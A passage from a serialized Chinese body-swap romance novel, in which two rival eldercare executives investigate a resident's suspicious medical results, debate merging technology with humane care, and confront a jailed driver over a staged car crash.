这一次他也算得上是全副武装,为了不让张奶奶认出‘许暻’,他刻意穿了连帽衣,又戴了一顶鸭舌帽,口罩和墨镜也是把整张脸捂得严严实实。
甚至在手镯前又戴了条腕表,把手镯牢牢藏在袖中。
祁聿帮忙把张奶奶一起扶下了车,让她们先进去,周擎越发了消息得晚些到。
张奶奶在祁聿身上几番打量,似乎是觉得不对劲,为了避免被认出,祁聿没有多话,拍了拍许暻的肩,先回了车里。
许暻按宋楹说的,直接去了她那里。
宋楹刚查完房,带她们去了门诊。
一套检查做下来,结果还需要时间等。
宋楹恰好接到电话,说是病房来了新病人,这会没什么事,许暻让她不用担心她们,工作要紧。
宋楹前脚刚走,周擎越后脚已经到了。
他似乎是找了一会才看到她们,好在许暻坐在比较显眼的位置,不过张奶奶和王阿姨都被她挡在了身旁。
“祁聿!”周擎越朝她招手。
许暻也看到他了,起身示意他过来,考虑到祁聿介意叫他周大哥,许暻干脆略过称呼跟人打了招呼。
“我们已经检查完了,这会在等结果。”
周擎越微微喘着气,解释道:“说了过来帮忙,可惜我早上突然遇到点事,所以才来晚了。”
许暻自然是不介意,如果不是祁聿说,她也没想过让周擎越过来。
“不要紧,先坐会吧。”
然而话音刚落,她就看到周擎越神色微变,脸色稍稍发白,嘴角的弧度僵了僵,似是没站稳,连连往后退了几步。
许暻想去扶他,身边的张奶奶又不知道受了什么刺激,情绪莫名激动起来,双手死死抓住她的手臂,突然嘶吼大叫。
“啊!!”
许暻猛然一个激灵,手臂上猝然传来剧烈的疼痛,回头看过去。她咬着牙,没有挣脱开,想去安抚老人的情绪,老人却双眼猩红,突然哭了出来,身体也站不稳往地下倒。
周围的人被她吓到,都开始转移位置,远离这一块。
许暻和王阿姨忙蹲下来安慰她,可话语却不太奏效,张奶奶抓着许暻的力度更大,吐字不清,许暻没能听懂她在说什么。
“奶奶……”许暻咬着牙,痛得鼻腔有些发酸,想先拉开老人的手。
王阿姨也在帮忙,可老人的力量总是出乎意料的大。
一道黑色的身影骤然窜现,过来拽开了老人的手,横在许暻身前。
老人情绪依旧,祁聿几乎完全挡住许暻,不肯移动一步。
周擎越好不容易回神,终于上前帮忙。
37. 氧气+37
大厅里的护士发现情况不对,过来帮忙把老人弄去了治疗室。
医生过来检查了情况,最后老人突然晕过去,才彻底安静下来。
恰好老人的血液检查结果出来,祁聿让许暻留下照顾老人,他去拿。
自助打印结果的机器前,周擎越跟着一起过来了。
似乎还没从刚才的突发情况中缓过神,周擎越的目光稍稍紧张地盯着祁聿。
祁聿暂时没管身边的人,翻看手里的报告。
各项指标他大致还能看懂,按理说老人的身体状况应该还不错才是,可肝功能和肾功能却明显异常。
祁聿眉头稍稍紧皱。
周擎越突然开口:“小暻,原来你说的颐安社区的老人,是这一个老人。”
祁聿立刻收好了报告,等着去找医生。
又对着周擎越莫名一笑,似有几分试探的意味:“师兄认识张奶奶?”
闻言,周擎越的神色略显不自然,又不动声色地收敛住,想起前不久‘她’问的事,摇了摇头:“原来这个就是那位张奶奶?我还以为你们是要带其他的老人来检查。”
不等祁聿接话,周擎越又道:“不过小暻,这毕竟也是颐安的事,下次就别耽误自己的休息时间过来了。”
这话祁聿明显就不爱听了。
转身要往医生办公室去,斜睨一眼跟在背后的周擎越,还在犹豫要不要开口。
他不想在这里闹得不好看,也不想在这里坏了心情。
然而身后那人又接着道:“小暻,你就听一次师兄的好吗?你和祁聿是没办法走到一起的。”
脚步突然顿住,身后的人还没反应过来,险些踩到他。
祁聿沉着脸,情绪稍稍压不住:“你怎么就确定我们走不到一起?”
对面那人明显一愣,许是第一次见到‘许暻’对他这样严肃。
他还是耐着性子,倒也不是指责,只是劝解:
“理念不合的人是没办法好好相处的,就算一时冲动在一起了,也迟早会分开。”
祁聿沉默了两秒,视线在眼前的人身上停留片刻,眸光有一瞬的发狠,却又倏然恢复平静。
最后他还是什么话都没说,转了身,继续往前走。
周擎越还想追上去说些什么,又注意到‘她’情绪不对,暂时没有多嘴。
医生办公室门口,祁聿只打算一个人进去。
“小暻,我一起进去吧?”
“不用了,我一个人进去就好了。”祁聿冷冷道。
话音刚落,大半个身体已经侧进了办公室,又顺手关了门。
周擎越被挡在门外,唇角稍僵,轻轻叹了声气。
祁聿主动跟医生提出了自己的疑问,医生又调出系统里张奶奶的检查结果,仔细查看。
“肝肾功能确实有些差,不过身体没有什么其他的问题,而且她这个肺部细胞的情况算得上非常好。”
“所以是服用药物的问题吗?”祁聿问。
只是依然奇怪,他也看过老人吃的那些药,常规的高血压和精神药物根本不会有很强的肝肾毒性。
这些结果其实不太够医生下定结论,只说可能是,又建议他们再去抽个血,检查一下血液里的药物残留情况。
等祁聿出来,周擎越很快注意到。
上前关心,问老人情况严不严重。
祁聿收好了手里的报告,只说没什么大问题。
回了治疗室,老人还没醒过来,祁聿没进去,周擎越也等在外面。
许暻还没来得及问什么,话就被祁聿挡在嘴边,祁聿把打印出来的治疗单直接给了许暻,“还要抽几管血,直接给护士就行。”
说完又不等许暻回应,直接把人推了进去。
“就让他们在里面吧,我们别进去了。”祁聿对着身后那人道。
周擎越没反对,却还是有些困惑。
“是还要检查什么指标吗?还要抽血?”
祁聿重新戴好了帽子,淡淡回答:“就是抽漏了几管血,重新补上。”
那人稍稍点头,没等开口,他的手机就响了。
等看到来电号码,周擎越下意识把手机往怀里收了些,表情有短暂的凝固之后,又重新弯了弯唇:“我去接个电话。”
屏幕上的号码在祁聿眼前快速闪过,他没看清,低嗯一声。
等他走远,祁聿又透过玻璃隔片看了眼治疗室里面的情况。
护士已经在给老人重新抽血。
一分钟后,周擎越略显着急地回来。
“出什么事了?”祁聿问。
周擎越点头,眼神里略带歉意,双手合十:“抱歉小暻,我一个朋友在家突然晕倒了,我得赶紧去看看他,今天恐怕不能和你一起吃饭了。”
祁聿心底的气突然顺了些,十分善解人意道:“没事,你去忙你的事吧。”
……
许暻是在护士抽完血后出来的。
见周擎越不在,她又四处瞄了瞄。
“周擎越走了,别看了。”还没等许暻问,祁聿就主动交代了。
“怎么又走了?”
许暻实在是不知道祁聿在搞哪出。
以为他又跟人吵架了。
“他朋友有事,他赶过去了。”祁聿解释。
似乎已经看穿她的猜测,他又歪头道:“我可没有跟他吵架的心情。”
他看起来说得倒挺像那么回事,但许暻明显对他的话存疑。
只是她出来的重点不是祁聿。
她把治疗单递出去:“这个检查是什么意思?检查药物残留?”
祁聿把手上的报告拿给她,许暻看完,已经明白。
“所以奶奶腿上那块皮肤病变是药物导致的?”许暻猜测。
“不能完全确定,先等结果。”
……
宋楹再下来的时候,张奶奶已经醒过来了。
但整个人还跟没回神一般,一句话也没办法说,只是紧紧靠着王阿姨,极度没有安全感。
“刚才到底怎么一回事,奶奶怎么又突然激动了?”
许暻刚才没注意到张奶奶到底是为什么情绪失控,王阿姨也觉得奇怪,本来好好的,突然一下就嘶吼起来。
“刚才是周擎越过来之后,老人的情绪就变了。”祁聿突然插了一嘴。
许暻没深想,点头道:“是他来的那会,应该是医院环境有些杂,奶奶突然受了什么刺激?”
祁聿没说话。
这个不那么引人在意的话题也很快略过。
宋楹看了老人的检查报告,在手机里存了一份。
原本许暻是打算让张奶奶在医院休息会,但她开始闹着要回去,祁聿又开车把人送回了社区。
刚回社区,张奶奶便自己脱了鞋上床,把被子裹得紧紧的,手里还抱着另一只枕头,一句话也不肯说。
许暻几番试探,得到的都是沉默。
没有逼她,许暻只吩咐了王阿姨好好照顾她。
折腾了大半天,许暻也累了。
祁聿本想给她点个外卖,许暻却不吃,说想睡觉。
祁聿没勉强她,她看着那人又进了书房。
心里还奇怪,他到底哪有那么多工作要做?
昨晚也是,吃了饭就进了书房,宋楹走了之后他又在书房待了很久,她半夜出来喝水他还没睡。
许暻有时候也挺佩服他的作息。
睡那么晚,居然还能早起做早餐。
果然弄久了科技,快把自己也当科技使了。
不过这会许暻也没心情管他了,眼皮已经累得在打架。
回房间才脱了衣服,沾床
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就睡着了。
再醒来时,许暻是被饿醒的。
房间里昏暗一片,外面应该天黑了。
看了眼时间,已经晚上六点。
脑袋睡得有些涨,许暻随便套了件衣服,打算去冰箱里拿点吃的垫垫肚子。
然而出了房门,她发现餐桌上已经摆着祁聿点的外卖。
是附近的一家比较出名的餐厅,正宗的淮北味道,是许暻喜欢的。
旁边还有两杯奶茶,也是许暻常喝的那家。
眼前稍稍一亮,心底又很惊喜。
忽然觉得寄人篱下也未尝不是件好事——
最起码饭都不用她操心,饿了食物就在眼前等着吃,甚至还有奶茶。
“醒了?醒了就先吃饭。”祁聿也从书房里出来。
不过听到他这话,许暻稍微犹豫了。
感觉他话里有话。
先吃饭?
后面还有事?
“吃完饭有事?”许暻暂时忍着那股饿劲,生怕祁聿坑她。
祁聿也不避讳,面不改色道:“有事,不过是好事,先吃吧。”
祁聿的话已经出口,许暻没有更多猜忌,吃饭的念头占了上风,爽快坐下,开始拆包装。
祁聿点的是个经典套餐,没什么忌口的,许暻很满意,跟着拆了奶茶的包装,拿到手更加意外。
祁聿点的是波霸美莓奶茶,甚至是牛乳版的,只不过一杯七分糖,一杯不加糖。
不加糖那杯应该是给他自己点的。
“祁总的脑子又走回家了?这奶茶点得不错。”许暻把无糖的那杯给他。
祁聿哼笑一声,眉眼间已经完全找不到被他深入骨子里的冷淡,“夸奖我收下,许总什么时候能改一改毒舌就更好了。”
许暻却早已习惯回怼。
咽下嘴里香糯的米饭,对祁聿露出熟悉的假笑:“那得付钱。”
祁聿跟着笑笑,“也可以,就是不知道许总有没有那个胆量收。”
“祁总是打算把全部身家给我?有什么不敢收的?”许暻明显觉得他这话是故意挑衅。
然而祁聿却不再接话。
许暻没懂,也没追着他问,还是吃饭重要。
解决了最基本的食欲,许暻想去看看她拿几盆玫瑰花的情况。
然而眼前又是一片让她愣住的景象——
她原本的玫瑰花不见了,但是多了几盆新的玫瑰花。
这几盆玫瑰花长势很好,还有些特别:每一盆花的侧边都贴着一张养护卡片。
卡片上写了一天的浇水量,以及如何剪枝、修叶。
又是他手写上去的。
这效率未免太高了些。
刚想问他原本的那些玫瑰花哪去了,抬头却已经撞上主动走过来的人。
他双手背在身后,故作深沉。
许暻下意识往后退了一小步,刚才摄入的甜慢慢消化,游走在身体的每个部位,心口处甚浓。
不等她问,他已经主动解释:“那几盆玫瑰是我的失误,我问过了,不太能救活,我包好了放在玄关了,这几盆是我赔给你的,和你的那几盆品种一样,味道也一样。”
“抱歉,小暻。”
许暻的心又跟着一乱。
哪怕已经脱敏,却还是有些顶不住。
这人果然阴险,做错了事就使出这一招。
不过他既然主动弥补还道歉了,这事也没必要揪着不放。
许暻想。
她别过脸,又低头去闻了闻玫瑰的香味,极力忽略发烫的耳根,眯着眼应他:“行了行了,下不为例。”
“好。”
他轻轻回应,身后又有纸张摩挲的声音,等许暻再定神,一沓资料突然出现在她眼前。
“正好现在有时间,和许总探讨探讨正事。”
38. 氧气+38
身体稍稍顿了片刻,目光缓缓聚集在纸张封面,意料之外的惊讶冲入心口。
许暻愣愣地看向他。
祁聿面露带有深意的笑,侧了侧头,眼眸瞟向沙发。
许暻什么都没问,鬼使神差地跟着他过去了。
视线停在封面上许久,没急着往后翻——
关于社区整改的意见指出。
他也要整改社区?
这又是什么意思?
许暻的第一想法是祁聿要用他的那一套来压制她。
动作十分迟疑,祁聿又催促道:“你先看看,许总大可放心,没有套路。”
再三犹豫之后,她还是看了。
只是内容却更出乎她的意料——
里头的条目都是按照问题意见加建议的组合,清晰地指出了目前养老社区内存在的问题,意见应该是没写全,她看到每个条目之间还留有大片空白。
这些问题竟都是她说过的。
比如第一个问题:目前养老社区内存在过度节省人力、依赖科技的问题,给养老带来了较高的风险,若黑客事件再次出现,社区内需要承担的后果将远超于平衡科技与人力带来的损失。
建议:增加人力,平衡科技与人力资源,在人力需求完全足够的标准下,合力利用各项科技产品。
还有他写出来的对社区内人员对管控能力不够,可能会引发社区内老人抑郁焦虑指数飙升的风险,建议增强对护工及医护人员的管控,避免过度依赖机器。
以及主动推翻了他此前的模式化管理,建议重新采取更科学的管理方式,适当自由化老人们的活动时间与行为。
终于看到最后一个字,许暻仍然沉浸在错愕的情绪中,没能回神。
原来这两天他一直在书房就是拟定这个报告。
可她总觉得这份报告实在是太不像祁聿的手笔。
对应的也不该是颐安社区,应该是桐馨才对。
翻页声已经消失了好一会儿,祁聿的视线始终没从许暻身上移开过。
许暻还思忖着祁聿背后的真实意图,那人已经开口:“许总觉得这份报告如何?”
这是许暻第一次这么没底。
完全猜不出他想做什么。
不知道要给他什么答案,也不知道给出什么答案才是最合适的。
许暻缓缓抬眸,神色完全收敛,眸光里带着些警惕,反复斟酌之后才回答:“你这是…什么意思?”
相比于她的谨慎,祁聿看起来要坦荡得多,这种对比让许暻隐隐不爽。
“整改社区,封面写得很清楚,许总是有疑问?”
“你确定要这么整改?你不是科技至上么。”许暻合上了资料,放回茶几上。
双手圈住两条腿,神色依旧没放松。
提到这个,祁聿倒是严肃了些,也完全是谈公事时的客观模样。
语气稍微敛住:“那天我说过,社区里出现的问题我意识到了,这几天我也一直在想,要怎么做才合适。昨天在看了那封信之后,我承认,人文确实在一定程度上能够打动我,加上在桐馨的这段日子,我不否认,人文能够让部分老人更开心。”
许暻盯着他,瞳孔稍稍缩了缩,不说话,等着他继续。
那人稳住身形,继续道:“我的确更喜欢科技的高效率,也在这上面尝到了甜头,过去这三年,也是科技养老的兴起和快速发展让我坐上了现在的位置,我也始终觉得自己会在科技养老方面发挥举足轻重的作用,直到社区出事,我才惊觉自己其实是忽略了科技养老背后的一部分风险的。”
他不否认以前不认同许暻的那一套,因为他的理念没出过问题。
但去了桐馨之后,他成了‘许暻’,去经营他不太能认同的养老理念。
原本是因为她才有的一时妥协,后来他也觉得没那么让他难以接受。
从她的记事本里看到的她亲手写下的条目,经历之后才知道那些条目存在的意义。
为老人们买蛋糕、照相都不是形式化的纪念,而是在简单平淡的生活里潜移默化地温暖着他们。
至少她的那一套风险要小得多,至少老人们真的开心了,至少桐馨的抑郁指数确实是业内最低。
与其一直处于高风险之下,他不如中和二者,取其最优,让颐安发展得更长久,同样是他的初心。
他或许明白了许暻把那封信塞给他的意义。
是为了能够真正地打动他。
而且如此,许暻或许更能接受他呢?
这句话他倒是没说出来。
重新凛神,祁聿郑重问:“所以,为了颐安能够更长远的发展,我想我也能退一步,许总,把你的人文,融入到颐安的养老社区内,你愿意吗?”
祁聿一连串的输出,许暻还难以完全消化。
此刻她明明应该理性思考,考虑要不要接受他的请求。
可大脑却不自觉回想起那天晚上抱着他的场景,那股温暖的力量仿佛回旋在脑海,干预着她的神绪。
心口又开始往外冒着甜丝。
她暗暗咬唇,一定是最近糖分摄入太多。
见她不回答,祁聿又问了次:“许总,我想请求你,帮我完善这份报告,把你的人文,融合到颐安的社区内,价钱方面,你任意开价,你愿意吗?”
许暻还是没答。
觉得祁聿的问题有些奇怪。
问愿不愿意,就好像是在…是在求婚似的。
面对她的沉默,祁聿似乎也有些没了底,他也跟着沉默了一会,再开口时,话语已经有些变了味:“小暻,别怀疑,如果不是因为你,我可能不会有这种想法。”
“……”
许暻觉得这话更不对劲。
就好像在他们之间有一堵墙,而他已经凿开了一个小口,让她看到另一边的情况,动摇她的心。
许暻不住屏着气,终于在体内的氧气稀缺的时候松了劲。
大量氧气进入身体里的那一刻,她感觉意识中有什么东西轻轻破碎了,她仿佛看到了散落一地的碎片,曾经本能面向他的防御也跟着没了影。
她眨了眨眸,定睛时,她又瞥到那股熟悉的灼热。
从那双眸子里透出来的灼热似乎和‘他’身体里的火苗有感应似的,许暻觉得心口的火再次有了凶猛的涨势。
意识被这具躯体暂时压制,嘴边下意识给出了回答:“我…我得仔细看看。”
“没问题!”她的话音刚落,祁聿便迫不及待地应和。
生怕再晚一秒,她就会后悔。
“……”
许暻无意识扯了扯唇,总觉得自己不太对劲,具体却又说不出来。
更诡异的是,眼前粉色的地毯和黄色的茶几在她眼里竟变得十分顺眼。
再转头,整个客厅里所有的家具好像都不再刺眼。
她蓦然想起祁聿第一次说的那些话,看向不同的色彩能转换心情。
她此刻的心情的确很好。
……
回了房间之后,许暻坐在床上,还没有去洗漱的打算。
床上的被子掀开到一边,粉色小猪睁开一双大眼睛望着她。
许暻觉得自己此刻指定是有点毛病——
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>她居然会觉得这头猪可爱。
明明很丑。
明明是个不近人情的家伙,明明总是一副让她讨厌的冷傲模样,明明总是喜欢呛她,明明总是不愿意尊重她的人文。
现在又转性做什么?
不是那么笃定科技养老会取代人文养老?
现在又那么听她的话做什么?
使出这一招,果然是把他的阴险狡诈贯彻到底。
手指在那份报告的页角反复捻动,嘴唇紧抿,还在一个字一个字琢磨。
不得不承认,祁聿列出的问题很精准,建议应该也是考虑了她对他说过的每一句话。
能在这么短的时间里做出来这些,他对这些老人也不是不上心。
以及他写出来的,过度节省人力和过度依赖科技。
如此重视科技的背后,是因为从节省人力的角度出发么?
许暻突然想到了桐馨的经营模式。
和颐安恰好相反,她一直秉持着爷爷奶奶的那一套:重用人力。
但时代也变了,有些简单、需要反复操作的事情,倘若用科技代替,是不是又能减缓人力的疲劳性?
就像颐安社区内的智能手环和护理床。
自动监测生命体征,还有预防跌倒的自动护栏、预防压疮的气垫和自动提醒翻身。
这些人力如果被节省,是不是也能让养老院的护工和所有医护能有更多精力去贯彻她的人文?
节省人力,或许也是大力发展人文的一种方式?
突然发觉思绪已经跟着祁聿走,她却并不觉得是一种错误。
比起上一次的不愿意承认他的那些科技玩意,此刻她却已经动摇。
科技融合人文。
是不是代表人文也能融合科技?
许暻突然把报告扔在一边,又把被子盖回来,挡住大半张脸。
双眸直愣愣地望着天花板,不知怎的,记忆里的某张面孔猝然清晰,想起曾经的一些画面。
那个时候,她也有钻牛角尖的时候。
但他还不是让她讨厌的冷淡态度。
那个时候的他,会给她提供一个新思路,带她走出牛角尖。
那个时候对他的好感,是源于他的耐心和自信。
那个时候他的游刃有余,在她这里是加分项。
现在他又给她提供了新的思路。
他们本该是竞争对手。
他们本该互相讨厌彼此。
可……
他叫她小暻。
他开始主动认错。
他说是因为她才有了这些想法。
被子里已经捂出一股热意,许暻感觉脸颊也跟着热了起来。
好像有什么情绪就要冲出来。
她有些羞于启齿,却又快压不住。
蓦地,床边的手机连着响了好几声。
她的情绪也被迫戛然而止。
许暻反手拿过手机,微信的右上角已经亮起了红点。
下意识以为是宋楹找她,点进去之后,却发现是已经有些陌生的群聊名称。
紧挨着群聊的那一栏,是一个她不算陌生的名字。
心口莫名一紧,许暻先点进了群聊里。
是他们大学的班群,常活跃的几个人在里头一直艾特所有人,约大家明晚去同学聚会。
许暻往上翻,看到最顶头的一条消息,神色骤变。
没看到她的账号在群里回复,许暻暂时也没回复,退了出去,又点进下面那一栏。
祁聿给她的是全名备注:赵婧姝。
「祁聿,好久不见。」
39. 氧气+39
身体里隐隐烧着的那团火突然被一盆冷水浇灭。
手机那头又发来了消息。
「明天同学聚会你会来的吧?」
视线停留在那几个普普通通的文字上,许暻一时难抽神。
一股莫名的酸胀陡然窜起,许暻什么心情都没了。
不再去想养老院的事情,也不想她和祁聿之间的事。
直接关了手机。
不过另一个房间里的人似乎也看到了群聊消息,许暻听到了越靠越近的脚步声。
熟悉的敲门声精准地响起,门外的人轻声唤她:“小暻。”
此刻的称呼像是抗原突然变了异,在她这里重新变得敏感,甚至出现的反应更重。
许暻莫名有些生气。
不想回应门外的人,可那人却紧追不舍。
“小暻?睡这么早?”
她自己的声音在她听来已经相当刺耳。
许暻把一却都怪到祁聿头上。
是他用他的气息沾染了她的一切,让她身体的很多表现都像他。
真是可恶至极!
许暻烦躁地应了声:“干嘛?”
门外的人沉默了两秒,语气又平缓了些:“想问你要不要去明天的同学聚会。”
真是迫不及待。
自己想去就去,还非得来问她一嘴。
“你想去就在群里回复就好了,问我做什么。”许暻的态度更不耐烦。
门外又停顿了片刻,他没急着继续这个话题,探了探门有没有锁。
接着许暻听到门把手被拧开的声音,突然开阔的声波灌入耳际。
她下意识转头,慌乱地对上那人的视线,又匆匆移开。
想要装作一副无事发生的模样,祁聿的身体却不太配合。
脸颊涨红,脸上的肌肉微微绷起,怎么看都不是一副轻松的样子。
而这具身体的主人一秒看穿她的不对劲。
他站在床旁盯着看了会儿,双眸轻轻眯起,仿佛在思考着什么。
右手还拿着她的手机,屏幕已经自动熄屏。
三秒后,两人同时开口。
“我没做错什么吧?”
“我让你进来了吗?”
许暻的语气明显不太好。
站在床边的那人双眸暂时放松,恢复成正常的模样。
只是眸光缓缓凝聚,带着稍许的沉稳。
他直接走近,刚想坐下来,许暻却完全不给他机会。
“你出去,我要睡觉了。”
她伸手挡住床上能坐的那一块地,却依然倔强地不肯正眼看他。
可许暻依稀能感受到来自于他的灼热视线。
意识似是赌气一般,想起那两条信息,嘴唇轻轻鼓起:“去就去呗,反正明天也没什么事,毕竟也是好几年没见的人,去见见呗。”
说完便已经后悔开口,她觉得自己的每一个字都带着酸味。
太浓太浓,浓到牙齿都跟着发酸。
不知道祁聿听出来她的异常没有,她只听到他说了声好,然后出去了。
再看群聊里的消息,他已经用她的账号回复。
「我和祁聿都会到。」
许暻觉得心口堵着的气越来越重。
暗暗‘嘁’了一声,他这是生怕她不帮他回复么?
非要带上他自己。
还真是多年不见的心上人,已经迫不及待了。
胸口的气回转,掀起了内里藏着的苦涩。
许暻眼角突然一阵酸,心情跌到了谷底。
再多躺一秒,她感觉自己的情绪就要失控,于是赶紧起身冲去了浴室洗澡。
相对狭小的空间里,耳边只有单调的水声,大脑便忍不住思绪乱飞。
他既然那么想见那个人,这段时间又来招惹她做什么?
一口一个‘小暻’地叫着,一次一次地关心她。
咖啡机旁边专门放糖的区域本来不应该存在,他也不该手写什么适量食用。
她的玫瑰花他更不该拿回来,也不该又去买了新的回来。
他不该因为他们只是住在一起就做她的饭,不该让她习惯餐食已经被他负责。
更不该那么听她的话,那么干脆地就说要把人文融进他的科技。
最不该的——
是让她真的喜欢上了他。
许暻仰着头,水流全部冲到脸上,她看不到这具身体此刻的神情,但猜想应该不会好到哪去。
双肩微微发颤,许暻依旧不肯睁开眼。
她想起宋楹说的话。
“小暻,你何必这么自欺欺人呢?”
“我只是希望你要么能走出来,可以投入另一段感情,要么就趁这一次机会,认清你的内心。”
“就嘴硬吧你,我看你就是对他还有感觉。”
自欺欺人……
她十分不愿意承认。
在她已经惯有的认知里,祁聿和她是背道而驰的人。
他们只是因为父母偶然的认识有了交集,只是因为同学关系很多年才会一直有交集,是因为灵魂互换才会到现在还有交集。
他们所有的碰撞都是因为外界的因素,和他们本身无关。
她也不想去喜欢一个和她会一直产生矛盾的人,那样的感情太累。
可现在她却发现这并不是她能控制的。
她很想继续否认,很想继续装作什么都不知道,很想祁聿继续像以前一样,对她是冷淡的、有攻击力的。
那样才会让她心安理得地讨厌他。
可情绪已经出卖了她。
很想继续把这一切推到祁聿身上。
眼角的滚烫却彻底击败了她。
许暻也摸不清过了多久,她终于从淋浴间出来。
站定在那面镜子前,她盯着这副皮囊出神。
这张面容依旧和她第一眼的印象重叠。
饱满开阔的额头下是挺如脊线的鼻梁,浓密的双眉之下压着一双深邃的眼眸,流畅的面部线条往下汇聚,印成清晰利落的下颌线,没有半分冗余。
漂亮的唇形包裹里头的软肉,成了整张脸最吸睛的部位,至少在许暻看来是如此。
唯一不同的是,这张脸已经完全褪去了过往的青涩,变得凌厉稳重。
许暻注意到了因为她微微发红的眼尾,心口的难受半分未消。
她忽然生出一丝恶劣的想法:她拥有了这具身体,她现在是他最亲密的人,她熟悉他的每一丝气息,甚至已经熟知他的生理反应,他是不是就该是她的?
只是这种想法很快被许暻从脑海中驱散。
这根本不是她。
她宁可不要,也不愿意勉强。
这个晚上,许暻失眠了。
同学群里宋楹也回复了,说自己会去,还专门过来跟她说和他们一起。
赵婧姝又打了两个问号过来,问祁聿为什么不回消息。<
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p>许暻一个字也没回复。
最后嫌手机太吵,直接开了免打扰。
她就在床上躺着。
脑海中的思绪乱飞。
一面想重新藏起自己对祁聿的感情,一面又想让自己真实面对。
就像宋楹说的,如果她做不到真正认清,做不到完全面对,她就会永远困在对他的感情里。
或许再下一个六年,也还是如此。
下一个六年,她是不是又能为自己找到新的讨厌他的理由?
窗外黑蒙的一片已经有了几分光亮。
到了五点半,许暻干脆起来了。
轻手轻脚洗漱完,没有煮咖啡,也没有吃早餐。
趁着祁聿还没起床,她直接拿了前两天写的那份地址出了门。
……
正如祁聿那天描述的一般,这里沉淀着浓浓的岁月痕迹。
远离市中心的繁华,人烟也相当稀少。
许暻找了半天才找到楼栋,这里没有电梯,楼梯的每一层台阶也都布满灰尘。
许暻才踏出几步,口袋里的手机突然响了。
身体猛地一激灵。
看到来电那人,她抿了抿唇,犹豫要不要接。
又担心他一直打来,最终接起。
“干嘛?”
态度依旧不那么好。
那头的人问她去了哪里,许暻不想让他知道自己一个人来了这里,随便忽悠道:“出来晨练。”
她听见祁聿松了口气,又说:“那我等你回来再做早餐。”
“不用了。”许暻毫不犹豫拒绝:“我不回去,晚上直接聚会的餐厅见。”
说完,她干脆地挂了电话,开了免打扰。
重新定神,许暻上到了楼层,看了眼已经生锈的门牌号,直接往最里头走。
最后站定在那扇已经掉漆的门前,鼻前能嗅到明显的铁锈味。
她正欲敲门,可手还没来得及碰上,门就已经开了。
开门的是一个面色十分憔悴的女人,女人看到她,也跟着愣了一下。
“你是?”女人往后退了一步,小心翼翼问。
许暻敛住神色,尽量放轻声音:“你好,我是祁聿,是一年前那场车祸受害人家属的朋友。”
女人狠狠一僵,随之而来的是不自然的愧意,她没邀请人进去,也没赶人走。
似乎是不知道自己该怎么做。
许暻意识到她的惧意,又低声道:“您放心,我没有其他意思,今天过来只是有些疑问想和您了解一下。”
……
一个小时后,许暻回到了车里。
神色紧绷,没急着走。
在女人那里了解的事除了祁聿转述给她的那些,还有点新的消息:张启林送来的钱没能救活她的孩子,现在女人失去了所有,在一家厂子里打零工。
女人想去见丈夫,想告诉丈夫孩子已经没了,可丈夫无论如何也不愿意见她,想让人帮忙传话,丈夫也一概不听。
许暻只觉得奇怪。
不见任何人,也不听任何传话。
是因为对这场车祸太愧疚了么?
他难道就一点不担心还生着病的孩子?
如果真的像祁聿猜想的那样,是张启林指使他去撞的爷爷奶奶,那他会不会愿意见张启林?
思绪触及此,许暻在脑海中回忆着那个肇事者当时被押送的监狱。
及时调转方向盘,开了导航。
40. 氧气+40
又是很久的车程,许暻好不容易开到了城南监狱。
然而下车时,她看到了那抹熟悉的身影。
心口狠狠一紧,心跳没来由的加速。
她不太喜欢这种感觉。
手里的车钥匙被她捏紧、再捏紧。
“一个人来就不怕危险?”祁聿先开了口。
难得的是,他的语气里没有任何责备,只有隐隐担心的无奈。
如果不是车载系统和他其它所有系统是连通的,他还真找不到她。
一看到她的目的地是城南监狱,他大概猜到了一二。
许暻低头抿了抿唇,依然嘴硬:“关你什么事?”
祁聿的眸光闪了闪,嘴唇动了动,依旧耐着性子。
“许爷爷、许奶奶也是我敬爱的长辈,当然关我的事。”
听到这个回答,许暻隐隐失落。
祁聿又接着说:“你来这里,那人也不会愿意见我们。”
许暻感觉到对面的视线一直停留在自己身上,仿佛在仔细打量她。
她不动声色转了身,故意侧对着他:“我只是想来试试,用张启林的名号来见他,没准他会出来。”
听言,祁聿眸光一亮,恍然大悟。
“这倒是个好办法。”
许暻没再接话,打算直接进去。
那人却再次拉住她。
“你到底要干嘛?”许暻的语气有些不耐烦,却更像是在掩盖某种情绪。
肩上落了几下不算大的力道,他的语气平稳:“都沾了灰,别急,先对对口供。”
心脏像是被羽毛轻轻勾了一下,酸甜之外涨起轻微的痒意。
许暻抿了抿唇,没拒绝他的动作。
……
隔窗外,许暻和祁聿还在等。
许暻不知道到底能不能套出肇事者出来见他们。
看着腕表上的分针走了好几格,许暻已经有些失落。
身旁的人又安慰了句:“别急,再等等。”
又过了五分钟,人还是没出来,许暻几乎要放弃。
然而在最后一刻,狱警却带着人出来了。
记忆里已经变得陌生的面庞再次出现,许暻第一眼没能完全认出。
那人穿着狱服,头发被剃得很短很短,整个人干瘦干瘦的,双手拢在腹前,低着头,宛若失去了生命力的空壳。
眼前触及晃亮的灯光,那人终于有了抬头的动作。
许暻和祁聿心里已经有了底——
他们的猜想没错。
然而视线相触的那一刻,那人陡然惊觉,发现自己被骗了,瞳孔骤缩,转身就想走。
好在他们早有准备。
祁聿亮出手机,怼近隔窗。
手机屏幕上亮着一行字:孩子已经病逝了。
那人似乎是在和狱警说想走,狱警注意到窗外,示意他看一眼。
就这一眼,那人的神色又一次变了。
抗拒的情绪瞬间消失,他大步跑到窗边,接起了电话。
“什么时候的事!”
男人的声音嘶哑,眼泪跟着一起掉下来,面部稍稍抽动着,肩膀小幅度地发颤。
许暻和祁聿默契地对视一眼,许暻拿了电话,悠悠开口:“三个月前,你老婆想见你,但你不愿意见,也不愿意听任何消息。”
窗内的男人似是突然忆起什么,滚烫的泪水挂在了唇边的胡茬上,要落不落。
许暻接着说:“赵先生,你应该认识我们,此刻坐在这里也一定知道我们来的目的,我就想知道,一年前的车祸,你到底是不是受张启林的指使?”
许暻的声音算不上完全的平静,举起听筒的手用力拽了拽袖口。
男人狠狠一怔,十分犹豫,不肯说话。
许暻料到他绝对不肯轻易开口,眉宇间的肃气更浓,又接着说:“你知道你的孩子为什么还是病逝了吗?”
提及孩子,男人毫不犹豫出声,问她为什么。
许暻盯着那双湿红的眼睛,脑海猝然窜过和爷爷奶奶在一起的画面,气息有一瞬的紊乱。
身后多了股力量。
祁聿不知道什么时候扣住了她的腰。
她重新道:“张启林根本没有给你老婆钱去救孩子。”
话音刚落,男人果然如他们料想般把实话抖了出来。
他拍桌起身,眼底瞬间被情绪吞噬,全是被戏弄的无力。
“不可能!他明明答应我会救我儿子!如果不是他,我也根本不会走到这一步!不可能!”
